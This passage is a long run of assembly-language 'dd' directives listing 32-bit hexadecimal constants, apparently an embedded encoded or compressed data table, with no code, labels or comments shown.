0F129AE25h, 0C4A39894h, 1282A252h, 2FE48943h dd 0C25F2445h, 978350Fh, 25CC04BDh, 969212ECh, 1BC4B80h dd 0A00842A2h, 0D425021Dh, 3096EB12h, 2257A04Bh, 1680412Ch dd 246184BCh, 5584A0B8h, 51122B02h, 304AA989h, 70049C25h dd 42124894h, 0E2186289h, 2F222297h, 0BA8987C1h, 0E2255DC4h dd 68967312h, 2259BC4Bh, 962B12Dh, 2578C4B2h, 959112C0h dd 55444AE0h, 50122AE2h dd 304AA909h, 71289C25h, 12825094h, 85A1A245h, 0D09725F8h dd 0C25DF04Bh, 970812Eh, 25AC04B9h, 967112DCh, 58844B48h dd 5C122C82h, 604AAF89h, 412AB425h, 4A7B095h, 12944254h dd 4A30094Ch, 28222520h, 521F9431h, 9785FC8h, 25D004BDh dd 96F112ECh, 5AC44B90h, 67122DA2h, 8C4BB489h, 0F12BCA25h dd 0C4AC0895h, 12A8A256h, 4A808957h, 29622548h, 0A38994D1h dd 86255244h, 0F1094512h, 97A1044Bh, 5D8443E0h, 72122F02h dd 0B44BBA09h, 912CDE25h, 44B15896h, 12BCE259h, 4AC88960h dd 2AA2256Ch, 0A8899571h, 9A2554C4h, 40944F12h, 8250284Ah dd 0A5F86128h, 0C12F8488h, 4BB3487h, 12E4425Eh, 4B680974h dd 2D2225C0h, 0B28996B1h, 0C22559C4h, 0E8956312h, 22557C4Ah dd 952B12Bh, 2538C4AAh, 94A112A0h, 51844A60h, 144B2902h dd 43E8A209h, 2F02F907h, 0B98997A1h, 0DA255D44h, 48967012h dd 0A258AC4Bh, 95D712Ch, 2560C4B0h, 954112B6h, 54044AB0h dd 4C122A42h, 1C4AA709h, 31289425h, 0C8322894h, 0BD09225Fh dd 0EA251F44h, 80967712h, 825ACC4Bh, 964E12Dh, 258044B3h dd 95C112C4h, 56044AF0h, 53122B42h, 3C4AAA89h, 0A129A225h dd 84A26894h, 12FE0251h, 0FA250941h, 0C8974150h, 825CEC4Bh dd 896D612Eh, 25A484B7h, 965112D6h, 57C44B38h, 5B122C42h dd 584AAE89h, 129B025h, 4A49895h, 1288C253h, 488A8946h dd 221F2508h, 9785F88h, 25D004BDh, 96F112ECh, 5A844B90h dd 65122DA2h, 844AB409h, 759FC625h, 0B800B969h, 2AE20021h dd 0A9098DA1h, 9C255544h, 50945012h, 0C250304Ah, 25F88128h dd 0F04BC48Ah, 712E81A1h, 84B8C897h, 12D6A25Ch, 4B30096Eh dd 2C2225A0h, 0AE099631h, 0AE2557C4h, 98955912h, 0C252544Ah dd 9460129h, 2508C4A4h, 5F881288h, 4BC488Ah, 12EA121Fh dd 4B808977h, 2D8225CCh, 0B40996E1h, 0C6255A84h, 0F8956512h dd 4155844Ah, 0B001C12Bh, 46AC9C6h, 129E0D60h, 4A580952h dd 28E22534h, 0A1099491h, 0F1015144h, 97A1114Bh, 5D8443E0h dd 72122F02h, 0B84BBA09h, 0A12CE025h, 44B16096h, 3C1BE259h dd 37C08557h, 25640804h, 954111B8h, 53C44AB0h, 4B122A22h dd 1C4AA689h, 31289225h, 82282894h, 0F225225Fh, 0A8977B12h dd 25BDC4Bh, 96A212Eh, 259884B6h, 962112D0h, 57844B20h dd 5A122C02h, 584AAE09h, 212AB025h, 84A6A095h, 12900253h dd 4A18094Ah, 2FC72514h, 3C009411h, 4BB8FE84h, 2E4223E4h dd 0B6899751h, 0D0255C04h, 18966A12h, 0A256984Bh, 8957012Bh dd 2548C4ACh, 94E112AAh, 52444A80h, 45122962h, 452FA389h dd 0F828424h, 0BC09C7F9h, 0E8255E84h, 78967612h, 425AC84Bh dd 964D12Dh, 258004B3h, 95A112C4h, 55444AE8h, 51122AE2h dd 344AA989h, 91289E25h, 44A15894h, 12FEE251h, 0FA258941h dd 0C8977F50h, 825CEC4Bh, 96E612Eh, 25A484B8h, 965112D8h dd 58444B38h, 5D122C62h, 644AAF89h, 312AB625h, 0C4A6B095h dd 12902253h, 4A18094Ah, 0BF1F2518h, 97A9114h, 25D8C43Eh dd 972112F0h, 5B844BA0h, 6A122E02h, 944BB609h, 112BD025h dd 44AD1896h, 12AEE257h, 4A908959h, 29A22554h, 0A48994F1h dd 882552C4h, 0A7ED4612h, 5EC40448h, 76120FA2h, 0C84BBC89h dd 0D12DE825h, 44B37896h, 12C6625Ah, 4AF88965h, 2B422584h dd 0AB0995D1h, 0A2255604h, 68945412h, 22513C4Ah, 8943B129h dd 25FCC4A2h, 0F04B1282h, 812EFD21h, 0C4B8D097h, 12DAC25Ch dd 4B48896Fh, 2C8225ACh, 0B0099661h, 0B8255884h, 0B8955E12h dd 2253644Ah, 894B412Ah, 251CC4A6h, 94311292h, 7E3F4A28h dd 12F42229h, 4BA8287Ch, 2E0225DCh, 0B6099721h, 0D0255B84h dd 20966A12h, 0E257984Bh, 8957212Bh, 254804ACh, 94E112AAh dd 52844A80h, 44122982h, 0FCFCA389h, 4BD88425h, 2EE221F4h dd 0B9099791h, 0DC255D04h, 50967012h, 0C259B04Bh, 95F812Ch dd 256804B1h, 954112B8h, 53C44AB8h, 49122A22h, 104AA609h dd 148A8C25h, 0F8251091h, 0C0977DD0h, 825CE84Bh, 896D612Eh dd 25A444B7h, 964112D6h, 58044B38h, 5C122C42h, 604AAF09h dd 412AB425h, 4A7B095h, 12944254h, 4A30094Ch, 28222520h dd 0B21F9431h, 9785FCFh, 25D004BDh, 970112ECh, 5B044B90h dd 68122DC2h, 904BB509h, 12BCC25h, 4AD1096h, 12ACC257h dd 4A900958h, 29C22550h, 0A5099501h, 8C255304h, 10974812h dd 87C1104Ah, 5E04F3EAh, 74122F42h, 0C04BBB09h, 0C12DE425h dd 4B37096h, 12C4425Ah, 4AF00964h, 2B422580h, 0AA8995C1h dd 0A02555C4h, 58945212h, 0C251384Ah, 9119128h, 0F44304A1h dd 912E4BF1h, 44B9D897h, 12DEE25Dh, 4B508971h, 2CC225B0h dd 0B1099681h, 0BA255904h, 0C8955F12h, 0A2546C4Ah, 894F712Ah dd 252CC4A8h, 9461129Ah, 50444A48h, 340C2882h, 4BC8BF9Fh dd 2EA225ECh, 0B8099771h, 0D8255CC4h, 40966E12h, 8258A84Bh dd 895C612Ch, 256044AFh, 954112B4h, 54044AB0h, 4B122A42h dd 1C4AA709h, 31229225h, 3E482894h, 0F225297Eh, 0A8977B12h dd 225BDC4Bh, 896A312Eh, 2598C4B6h, 962112D0h, 57844B20h dd 5A122C02h, 584AAE09h, 212AB025h, 44A5A095h, 128E0253h dd 4A188949h, 2FE72514h, 0A25E9411h, 8977C50Fh, 25CCC4BCh dd 96F112EAh, 5A844B88h, 65122DA2h, 844AB389h, 0C12BC625h dd 4ABF895h, 12A44256h, 4A700954h, 29422540h, 0A20994C1h dd 229751C4h, 81444212h, 7812E3E0h, 0D04BBD09h, 12DEC25h dd 0C4B49097h, 12C8C25Ah, 4B000966h, 2B622588h, 0AB0995D1h dd 0A2255604h, 58945412h, 0C251384Ah, 9118128h, 0EF4004A1h dd 84BC4BF1h, 12E8C25Eh, 4B800976h, 2D8225C8h, 0B40996E1h dd 0C8255A84h, 956612h, 4256884Bh, 8953D12Bh, 253C04AAh dd 94B112A2h, 51C44A68h, 43122922h, 0FCF7A289h, 4BD08225h dd 2EC221F4h, 0B8899781h, 0D8255CC4h, 40966F12h, 6258A84Bh dd 895D612Ch, 256444AFh, 954112B6h, 53844AB0h, 4A122A22h dd 184AA609h, 21229025h, 3DA82094h, 0F425297Eh, 0A8977C12h dd 225BDC4Bh, 896B312Eh, 2598C4B6h, 962112D2h, 57044B20h dd 58122BE2h, 504AAD09h, 0F129AC25h, 8C828894h, 2190A258h dd 512812C0h, 52FC008Ch, 0F8254244h, 0C0977B10h, 625CE84Bh dd 896D512Eh, 25A444B7h, 964112D6h, 57C44B38h, 5B122C42h dd 5C4AAE89h, 212AB225h, 44A5A895h, 128E0253h, 4A188949h dd 2FC72514h, 825E9411h, 975AD0Fh, 25BC84BCh, 96B112E4h dd 59844B68h, 62122D22h, 744AB209h, 912ABE25h, 44A9D895h dd 129EE255h, 4A588951h, 28E22534h, 0A1899491h, 0FE7A5144h dd 25EC4112h, 977190FAh, 5CC44BC8h, 6E122EA2h, 0A84BB889h dd 512CD825h, 4AF4096h, 12B44258h, 4AB0095Ch, 2A422560h dd 0A7099541h, 92255404h, 28944B12h, 297E1C4Ah, 7C122122h dd 0E04B3D28h, 212EF425h, 84B6A897h, 12CE025Bh, 4B10096Ah dd 2BC22594h, 0AD099601h, 0AA255704h, 88945812h, 0A2524C4Ah dd 8947F129h, 2508C4A4h, 0E843128Ah, 0B12F4BF9h, 84BAE897h dd 2268225Dh, 8780095Ch, 84B67200h, 12D0023Bh, 4B20096Ah dd 2C022598h, 0AE099621h, 0B0255784h, 90955A12h, 0C253544Ah dd 9480129h, 250C04A5h, 5F8F128Ch, 48E488Ah, 4BA83A1Fh dd 2E0225E0h, 0B6099731h dd 0D0255B84h, 20966A12h, 257984Bh, 8958212Ch, 254C44ADh dd 94E112AAh, 52844A88h, 46122982h, 848A409h, 8F328825h dd 0BC898A5Fh, 0EA251EC4h, 88967712h, 0A25ACC4Bh, 8967F12Dh dd 258CC4B4h, 95F112CAh, 56844B08h, 56122B82h, 484AAC09h dd 0D129A825h, 44A37894h, 12846252h, 2FA78945h, 625E2445h dd 8975950Fh, 25C044BBh, 96C112E4h, 59C44B70h, 62122D22h dd 784AB209h, 0A12BC025h, 84AAE095h, 129E0255h, 4A580952h dd 28E22534h, 0A1899491h, 0FE795144h, 25EC4112h, 5DC410FAh dd 721248A2h, 0B84BBA89h, 0A12CE025h, 4B16096h, 12BCE259h dd 4AD00960h, 2AC22570h, 0A9099581h, 9C255504h, 50945012h dd 0C251304Ah, 9118128h, 0E34304A1h, 0A12F4BF1h, 84BAE097h dd 12DE025Dh, 4B500971h, 2CA225B4h, 0B0899671h, 0BA2558C4h dd 0C8955F12h, 62546C4Ah, 894D612Ah, 252044A7h, 94411296h dd 5FCF4A30h, 44BD2842h, 12EE121Fh, 4B988979h, 2DE225D4h dd 0B5099711h, 0CA255B04h, 956712h, 8256884Bh, 8955E12Bh dd 254084ABh, 94C112A6h, 51C44A70h, 41122942h, 50FAA209h dd 445EFE78h, 0EE0024EBh, 2E628021h, 0B7098F51h, 0D4255C44h dd 28966C12h, 0E257A04Bh, 8957212Bh, 254804ACh, 94E112A8h dd 52844A80h, 46122982h, 848A409h, 8F028825h, 0BC898A5Fh dd 0E8251F04h, 80967612h, 825AC84Bh, 966E12Dh, 258484B4h dd 95D112C6h, 56044AF8h, 3B872B62h, 869AB09h, 404A9540h dd 0C1290023h, 0C4A27094h, 12224251h, 0BE878942h, 897697E3h dd 25C8B123h, 96D112E8h, 5A044B78h, 64122D62h, 804AB309h dd 0C12BC425h, 4AAF095h, 12A04256h, 4A588953h, 28E22534h dd 0A1899491h, 0FC775144h, 25E44112h, 975190F8h, 5C444BB8h dd 6C122E62h, 0A04BB789h, 412CD425h, 4AF3096h, 12B44258h dd 4AB0095Ch, 2A422560h, 0A6899541h, 8E255404h, 18944A12h dd 0E775144Ah, 5EC4112Fh, 76120FA2h, 0C44BBC89h, 0D12DE625h dd 44B37896h, 12C6625Ah, 4AF08965h, 2B422584h, 0AB0995C1h dd 0A2255604h, 60945312h, 2513C4Ah, 8941A129h, 771084A1h dd 0EC4B12FEh, 612EFA25h, 84B8C897h, 12D6825Ch, 4B38096Dh dd 2C4225A4h, 0AF099641h, 0B4255804h, 0A8955C12h, 2535C4Ah dd 94A312Ah, 251884A6h, 94111290h, 6D0F4A18h, 84BC2FE7h dd 12E8A25Eh, 4B800976h, 2D8225C8h, 0B38996E1h, 0C6255A44h dd 0F0956512h, 4256844Ah, 953C12Bh, 253804ABh, 94A112A2h dd 51444A60h, 41122902h, 90FAA189h, 4BC8FE76h, 2EA225ECh dd 0B8899771h, 0DA255CC4h, 40966F12h, 6258AC4Bh, 895C612Ch dd 255C44AFh, 953112B4h, 53844AA8h, 4A122A22h, 184AA609h dd 14BF9025h, 3E892091h, 0F2259D94h, 0A0977B12h, 0C25BDC4Bh dd 968112Dh, 259404B5h, 961112CCh, 56C44B20h, 55122BC2h dd 3C4AAC09h, 9128A425h, 4A16094h, 1222C251h, 0B0878941h dd 224597E3h, 25C8C12Fh, 970112EAh, 5B044B88h, 68122DA2h dd 8C4BB489h, 0F12BC825h, 44AC1095h, 12AC8256h, 4A900957h dd 2982254Ch, 0A30994F1h, 22975244h, 87C14312h, 5E04F3AEh dd 74122F22h, 0B84BBB89h, 812CE225h, 84AF5896h, 12BAA258h dd 4AC8895Eh, 2AA22570h, 0A8899581h, 9E255484h, 58945012h dd 2251384Ah, 8944A129h, 250884A2h, 0D6431286h, 0A12F4BF9h dd 84B9D897h, 12DA225Dh, 4B388970h, 2C4225A8h, 0AF099661h dd 0B4255844h, 0A0955D12h, 0C2535C4Ah, 9471129h, 250C44A5h dd 5F4E1288h, 84BB488Ah, 12E6AA1Eh, 4B608976h, 2D0225BCh dd 0B20996B1h, 0C42559C4h, 956312h, 8256844Bh, 8964E12Bh dd 560084ABh, 2352428h, 895286A8h, 254004A9h, 94D112A2h dd 74A14A70h, 51C42982h, 44122922h, 448A309h, 0CEA28425h dd 0BD098A5Fh, 0EC251F04h, 98977812h, 0D883D04Bh, 8F962127h dd 81039F61h, 1FC5BCB7h, 6010B001h, 47404D0Dh, 2C82EA00h dd 0AF899661h, 0B6255884h, 0C8955C12h, 0E255684Ah, 0CA0A812Ah dd 3500849Fh, 24FBA804h, 0E44411A6h, 5480764Fh, 8C2AFF2Ah dd 0CE00417Fh, 0E0A60010h, 0B44A45FCh, 60040043h, 44124894h dd 44B6289h, 43E88625h, 2F02F9D3h, 0B90997B1h, 0E0255D44h dd 68967112h, 2259BC4Bh, 961B12Dh, 2574C4B2h, 95B112BCh dd 55C44AE0h, 53122B22h, 344AAA89h, 9129A025h, 0C4A25094h dd 12820251h, 0E9218943h, 0C89725FCh, 0A25DF04Bh, 8971612Eh dd 25B404B9h, 968112DEh, 58844B58h, 60122CA2h, 744AB089h dd 912ABE25h, 4A8D895h, 129AE255h, 4A58894Eh, 28E22530h dd 0A1899491h, 0A4445144h, 9D162AA2h, 47D8087Eh, 2F028480h dd 0BA0997A1h, 0DE255D84h, 48947212h, 7380B04Bh, 11C9034h dd 84B04394h, 12BE6258h, 4AD88960h, 25542574h, 429591h dd 8875E4ACh, 1955AA8Ch, 0AB01551Ah, 11A3C1Fh, 0C4A64350h dd 12904253h, 4A20094Ah, 22292518h, 87C9421h, 24AA7E3Ah dd 715512F4h, 88A19695h, 60048030h, 0C84B028Fh, 0E12D4A25h dd 84B48096h, 12C8825Ah, 4B000966h, 2B822588h, 0AC0995E1h dd 0A8255684h, 80945612h, 8252484Ah, 946E129h, 250884A4h dd 5F8E1288h, 4BD488Ah, 12EC7A1Fh, 4B900978h, 2DC225D0h dd 0B5099701h, 0CC255B04h, 10966812h, 0C257904Bh, 958012Bh dd 255004ADh, 950112ACh, 0B8E94A90h, 8C2556h, 6D48C019h dd 8023A111h, 0C30C0863h, 8C30C455h, 897F8A01h, 7D120460h dd 0E04B39C8h, 312EF625h, 4BBB097h, 0AAD5425Ch, 0C6E8282h dd 0B44B16F0h, 3A440043h, 64125802h, 784AB389h, 0A12BC225h dd 40B1D895h, 3AB82254h, 525516h, 0C24A0835h, 4C0C0119h dd 34A0BC91h, 8023BE64h, 57850863h, 10C31449h, 10552880h dd 0A0800046h, 0E6BAD0D1h, 0AB3C43FCh, 7C4B0832h, 0F40E2BCFh dd 8FB879Dh, 24AB1F80h, 800812F4h, 23D08917h, 55597B00h dd 80C34B98h, 7896B1AAh, 4259C44Bh, 0CC25D12Dh, 2096C011h dd 4258944Bh, 95E312Ch, 256844B0h, 955112B8h, 54444AC0h dd 4F122A42h, 2C4AA809h, 71289A25h, 44884894h, 0E6218250h dd 0E097A5FCh, 225EF84Bh, 8975A12Fh, 972104BBh, 5C041228h dd 6C122E22h, 0A44BB709h, 712CD425h, 0C4B04096h, 12BEA258h dd 4AE08960h, 2B022578h, 0AB0995A1h, 0A62555C4h, 78945512h dd 0A253444Ah, 948E129h, 251404A5h, 9431128Ch, 5FCE4A20h dd 44BE2822h, 12F45A1Fh, 4BB0097Bh, 2E6225E0h, 0B8899741h dd 0DA255C84h, 50966F12h, 259AC4Bh, 962912Dh, 258084B2h dd 95D112C2h, 56444AF8h, 57122B62h, 504AAC09h, 129AC25h dd 84A69095h, 1292E253h, 4A30894Bh, 2882251Ch, 88A59451h dd 21F45084h, 97B1F8E5h, 5DC44BE0h, 74122F22h, 0C84BBA89h dd 0E12DE625h, 0C4B58096h, 12CE825Ah, 4B180969h, 2C222594h dd 0AF099621h, 0B4255804h, 0C0955C12h, 0A254644Ah, 8556712Ah dd 10C4A8h, 46686CCAh, 2922CF00h, 0A28994B1h, 822551C4h dd 0A1EC4312h, 9761F8E4h, 5C844BC0h, 6E122E82h, 0A84BB809h dd 612CD825h, 0C4B04096h, 12BAA258h, 4AC8895Fh, 2AA2256Ch dd 0AE229571h, 606F54C2h, 1A4432BEh, 985AF2BFh, 994D55D5h dd 64266334h, 39286673h, 66C0E031h, 83097955h, 0CA1BB016h dd 0D0416365h, 1D234602h, 4E260390h, 173329Bh, 2DB68901h dd 0D93826D1h, 4C89EB15h dd 0C4A52409h, 78054CC3h, 5B25DEE7h, 0EE362336h, 11B08C2Ch dd 61081BD0h, 0C12BC531h, 9F5DB12Bh, 0D76C1844h, 4AEE6471h dd 6E2052E2h, 14849D7h, 883AC013h, 20C31683h, 4BAC83C9h dd 1C440C52h, 56EB2AC1h, 22020DFh, 9238406Eh, 0C93018BCh dd 4C22482Ch, 0AAE4311h, 0C1119844h, 2984200Eh, 0C6E14C2h dd 0C113418Ch, 5820E00Eh, 60630844h, 7608220Ch, 22C17600h dd 63039842h, 3B00110h, 11161BC8h, 831844C2h, 1D0808h dd 108818DDh, 44188226h, 0E600B040h, 3084C0C6h, 220EC11h dd 37504582h, 8984C606h, 10110760h, 31B8222Ch, 44C0630h dd 6080003Bh, 818D2111h, 0D8228831h, 8B04BC01h, 8C0C6108h dd 0EC10441h, 44586DC0h, 0C601308h, 762022h, 4222636Dh dd 10630898h, 6003C101h, 0C211031Bh, 883B044h, 0DAC01608h dd 26101818h, 40441D82h, 0C6D488B0h, 113018C0h, 820200ECh dd 6368445h, 608920C6h, 2C109007h, 30318422h, 3B041106h dd 1160B400h, 31814C21h, 1D88088h, 88B8D9Ch, 418C2261h dd 0A00E0404h, 8440C6Ch, 220CC113h, 66005820h, 88A66063h dd 0A0366608h, 5BE11102h, 2288B212h, 6D63981Eh, 60CE0540h dd 11616014h, 4518228Eh, 40002462h, 31E28222h, 60CE0630h dd 11616014h, 4518228Eh, 0C602462h, 0CDEC8222h, 79CD63E5h dd 78A145CEh, 0DCFDB9CDh, 6A5A93DCh, 21141D5Dh, 26102306h dd 0C9437182h, 0DB8B818Dh, 8226E38Fh, 8118BBB5h, 8181088h dd 0F77C0881h, 2047F5F7h, 6499BAF1h, 40CB533Fh, 0A3E5C10h dd 2FB52FA4h, 91924D90h, 8F19C987h, 7D3145D5h, 300CC041h dd 139AD603h, 0C7A2EC1h, 0F4BE87B8h, 0C18C7CFAh, 228EF650h dd 8B8451Ch, 0A5E60110h, 75E0183Ah, 78665891h, 3398C59Eh dd 0B0920198h, 8C406388h, 767E3122h, 8180086h, 0ABA25E4Eh dd 58E6E9E2h, 62C0B1A4h, 674DA1FDh, 334CE588h, 7AFF5265h dd 196082C6h, 0A07CD4C0h, 0F3B6AFB3h, 0B87B2C73h, 0A8115B51h dd 0E6944A7Ah, 0C70469E0h, 2062D5CEh, 0B5B40506h, 6A60B7B6h dd 1407B3B2h, 12B605C0h, 246B8A58h, 0AD13555Ch, 89225608h dd 2449AC53h, 3ADD1EB9h, 3AD53AE1h, 3ACD3AD9h, 38A23AD1h dd 57093AC9h, 8C277328h, 329CC653h, 0CA71194Eh, 29C66538h dd 0D38C94E3h, 0C9953ADh, 9C65A700h, 71944E30h, 0C65338CAh dd 5B27E329h, 329C8CA7h, 0C271194Eh, 29C66538h, 0A71994E3h dd 4E32538Ch, 38CA4EB5h, 0E3099C65h, 8CA67194h, 0B450C653h dd 44A417B3h, 41C5E080h, 0A23E6060h, 7A0AC688h, 2300210h dd 0C183207Ah, 0F807922h, 0F008C926h, 18FC40C1h, 2FBD41FCh dd 181998C1h, 0C604A62Ch, 818CC451h, 582A4C10h, 401C9808h dd 36C8F950h, 0DCB466A6h, 0DF26080h, 9BF30FE5h, 28CC86C1h dd 446C9F48h, 85039FB7h, 819C1069h, 61270059h, 42CCC18Eh dd 41111161h, 40231898h, 819C0636h, 22C10059h, 3111C18Ch dd 4418C598h, 8C016040h, 7306D938h, 3306606h, 1660388Bh dd 8888B0Ah, 8DB3C4C2h, 819C3181h, 22C00059h, 0C285C18Eh dd 3082CC22h, 60639831h, 1660220Ch, 63886AC0h, 8B06730h dd 0C4CB033h, 8318A166h, 30052088h, 0CC1818DAh, 0CC29819h dd 5983E22Ch, 22202C28h, 52601308h, 3398C6B1h, 58190B30h dd 50B331C4h, 10448458h, 64040626h, 6067418Dh, 88B0C016h dd 0B0A13063h, 4C203308h, 1A8B660Ch, 2CC08883h, 0C6118980h dd 8440CE60h, 0C44C6082h, 5CA58D45h, 0B2560409h, 25667095h dd 4129A95Ah, 140D9592h, 0F11454C0h, 48C21605h, 41115182h dd 6004518h, 382002ABh, 4042B303h, 69117028h, 95818C05h dd 75320016h, 280036F2h, 1107552h, 0E25AA650h, 8292216Ch dd 8EFDB55h, 60A19900h, 66606B45h, 80282380h, 4808064Ah dd 30701992h, 2A036AC9h, 4BAB01E0h, 84916C02h, 2134F92h dd 94BB7011h, 0C0661474h, 898D4CCh, 6001064Ch, 65A22130h dd 0BA5F1021h, 0EFCF39A8h, 8BF8C4B8h, 3CFBB00Ch, 3F4211F9h dd 88FC202Fh, 2271BDC6h, 31521EFAh, 600F792h, 0C621E104h dd 0E4F4E051h, 0FA3BC5EBh, 4FF0C13Dh, 0B6F4FB39h, 21DBEA6h dd 0F9FC25F2h, 0A0E0FE04h, 0E2908453h, 992420AEh, 8C0538FAh dd 3170300h, 9E5D414Ah, 0E7E0DE38h, 6A142066h, 300622FAh dd 0E5450420h, 0B05CC2AFh, 32180CCh, 0C2C37397h, 57971402h dd 59931879h, 6B3C08FEh, 0B05499CEh, 0CBF3A05h, 64753A45h dd 877A39A0h, 1205587Ah, 93650BF3h, 0CBBF8EC0h, 2D41847h dd 0F5048C12h, 2075C8Ah, 93EF4084h, 0DE1E6870h, 20127B78h dd 4091BC40h, 30068742h, 0DE8F6440h, 8E80CE33h, 2D13AC51h dd 0FB3EC723h, 0B4F09C0Ch, 65124343h, 6120A691h, 6FE534FEh dd 23AD061Ch, 447ADE1Fh, 0F8C42400h, 60040730h, 315F3449h dd 61B43ACCh, 1163900h, 500204F7h, 20C6702h, 106F2118h dd 14139006h, 0A0103CD5h, 8278594Fh, 0F8315432h, 91F4BB83h dd 7A8FFAC6h, 9044CE44h, 68E30089h, 0FA740641h, 38BCF528h dd 0B1E8501Bh, 38148673h, 36058216h, 0C0820ABFh, 0A90C7E20h dd 1E66060Ch, 33B98F21h, 7435A24Dh, 0C1955A49h, 224C1100h dd 5F8FC33Ch, 0F364FD4Eh, 92E140BCh, 0C644C634h, 34C2E212h dd 7951302Ah, 5606684Ch, 80C6E132h, 515742FEh, 1919EEC1h dd 208A640h, 99E61A05h, 105F0C40h, 2900227h, 8DE447DEh dd 6D64A23Fh, 0DFA82A06h, 2E190191h, 0E036074Bh, 819F752Ch dd 0FA287272h, 62740D0h, 849018C6h, 0CDFC0A32h, 0D41E0D44h dd 20221F87h, 6E1D2806h, 1AEA190h, 9808D8C1h, 43A40717h dd 5551F793h, 0CC651A47h, 0D9959132h, 8DACA4C8h, 8688819h dd 3474191Ch, 10EE629Dh, 25170479h, 6E3007CFh, 7E80134Ch dd 87119256h, 0A82420AFh, 22CBFD05h, 0CB9F20h, 5415146h dd 0CC024603h, 79E501D9h, 0A7C3C42h, 5A7CDFE6h, 23E68874h dd 28B05828h, 20330616h, 894915B6h, 0A291D2C0h, 6C01C160h dd 0EF281F7Bh, 67D7959Bh, 0D46011A7h, 23992BDAh, 0E597625Ch dd 0F1E0B8A8h, 0F3615A39h, 8DC28A16h, 0CC03E601h, 7DA938C3h dd 8AF000F3h, 980838BBh, 0C4A78E6Eh, 6142D221h, 630470F9h dd 604437C6h, 6D89C389h, 0B950A248h, 6C3EF24Dh, 0AF182236h dd 82E75897h, 23F19AE0h, 0B35CC1E5h, 34131032h, 89AFE420h dd 581234C0h, 9D8AA061h, 3A4279B8h, 1A181CC2h, 0AFC3E823h dd 0B3046050h, 4451D1A0h, 8FA0604h, 0A7B99580h, 0BB2DCAC3h dd 8FD78100h, 30237B70h, 0C4A7AF61h, 0AEA46D29h, 0B331E632h dd 3BCE882Ah, 8B96073h, 1A014BE4h, 30E4D7Ah, 76660153h dd 0D9D62F20h, 350B29EAh, 0B403020Fh, 63C5B289h, 280A1EC6h dd 4201680h, 0ADF46066h, 0A80CD1D6h, 56CB9598h, 43244659h dd 0C024822h, 38086456h, 0B8861B22h, 0B0101750h, 7D8056ABh dd 8D347334h, 369D80C2h, 0A3246A60h, 0CACAA67h, 40409718h dd 311983Bh, 5A779723h, 22948117h, 8CC03277h, 0ABF9181h dd 98818034h, 85A161h, 50108C7Dh, 80FEF53Ch, 772F9860h dd 2C48D021h, 82540806h, 0D01A14E9h, 1CABAB86h, 6FA796F6h dd 0F25BD939h, 42E03090h, 2E763883h, 61D15602h, 8E070C0Ah dd 0B38242C2h, 705826BCh, 70B44E5h, 838CB117h, 8E10011Bh dd 83215200h, 0F9023982h, 31964148h, 10F9368Eh, 0A270CCE0h dd 87D0F5FCh, 7D9A8402h dd 540E08F9h, 11B0A187h, 0C66E3770h, 63934015h, 174A2CD0h dd 2324E581h, 0A010331Fh, 709C16h, 0CAB6B4C3h, 101E773Ch dd 63256314h, 0B9860E1Ch, 3010BD99h, 16EF5C18h, 0D213F1F4h dd 3FC63A0h, 8D82C181h, 0B1D44900h, 65CC09CEh, 4402F360h dd 10180182h, 38EF9F4Ch, 9D63D828h, 9B6766D5h, 888B8C65h dd 8C9AAC4h, 68100318h, 0E080FA0Dh, 0D1001558h, 203243CEh dd 660C9B09h, 7ECE0226h, 557EA847h, 19819DE6h, 7F01FE20h dd 0D0081F18h, 61CE134Dh, 222C1722h, 62407EF0h, 8B83B388h dd 9FE0CB91h, 0ABA83305h, 87B11176h, 45CA000h, 53D4411Ch dd 3718EB5Fh, 3700971Bh, 110C084h, 0F6F173C0h, 0F31F21F9h dd 0C066BEF5h, 0F451DA36h, 41E6CE9h, 3B04C6DCh, 6C744CD4h dd 879C8957h, 0EB070447h, 3E82AF82h, 55B70021h, 3D2BC449h dd 0B0892C04h, 288F9F48h, 7329B030h, 85C270A7h, 2E3B2380h dd 21E45C04h, 1C6AF90h, 0CB6EF61h, 22EE041h, 0E84532E8h dd 0CCF759Ah, 1820E1FCh, 3E40FDC5h, 798F37D9h, 93AF8789h dd 2110107h, 0B8778CF4h, 0EDE2D35Bh, 0C0653022h, 36737976h dd 3C01D4A5h, 640C8C7Bh, 2F5B8084h, 2C288217h, 32380803h dd 80649926h, 75A55061h, 26A4C089h, 8DFD9303h, 11288780h dd 8C101090h, 0C2C49480h, 0C4A296B3h, 0C35FE1h, 0C7AC3746h dd 0C1AE6D0Ch, 0E009CC0h, 6B8843FEh, 0CC10EBh, 0C933A773h dd 0D4C008F9h, 13CDC19Ah, 0C84642DCh, 60C08102h, 92AC5DEEh dd 0C4B8839Dh, 50E8041Ch, 0C8B37BBEh, 0B306DB5h, 591A4196h dd 32E1129h, 0DC8AFF01h, 3181229Dh, 9008EB1Bh, 72FE0341h dd 819D96DCh, 0C7813D11h, 2618D89Ch, 66093C1h, 0A0C10A82h dd 1CC1A1D8h, 68A39505h, 26084169h, 0C089002h, 0BCD31C7Dh dd 0CB23387Ch, 1B2C3C3Bh, 0B9207683h, 1A4ECEC6h, 4AAB1016h dd 23637622h, 8CF402E0h, 77AE019h, 0C60AC5B9h, 0BE58A231h dd 0F2A71DA4h, 0FB01074h, 80C03062h, 98A02058h, 9E2A43D6h dd 0D4AEE253h, 0C2AE3105h, 8819C043h, 1E598030h, 0F129B888h dd 43EFB018h, 4FA33547h, 8390107h, 0C0453290h, 28CF5A4Ah dd 0F181E4D8h, 30D8AFD0h, 60840BC8h, 5B901093h, 0E5CC4D14h dd 2268041h, 0A503B482h, 6063DCA2h, 1BD98891h, 2A552A4Fh dd 3CC0C7A3h, 4601388Ah, 0CC03CC69h, 0FE609B8Ah, 9901030Dh dd 59522072h, 2116171Fh, 19B0298Dh, 6B0CA5A0h, 5EEC227Fh dd 0BFE5041Ch, 0E6A340Ch, 2299082Ch, 0C0899B0Ch, 42FD3E0h dd 63A4C1F4h, 8E30658Eh, 945B5539h, 10E1313Bh, 52162303h dd 83911564h, 2C8022C0h, 6D4A3958h, 26EF6461h, 2CC12BE3h dd 0D4C25606h, 838C8E9h, 0B4635D8Ch, 711A514Eh, 0FCC50EADh dd 5399498Fh, 0C0886023h, 2FD88066h, 1129AF43h, 226D0CD8h dd 1B04B840h, 94BC2A01h, 8C652E5Fh, 73489D16h, 9C405D05h dd 15652F05h, 0C0C8212Bh, 9F8C2DECh, 0D18308D5h, 767967A7h dd 0C0002A5h, 0C82188CCh, 60218F8Ch, 102B8C5h, 0CBEC644Bh dd 0B1978ED1h, 33BDC0C1h, 2AF5433Fh, 88996663h, 0F3B1FD00h dd 0C6A253Eh, 226C22Eh, 8A398EC6h, 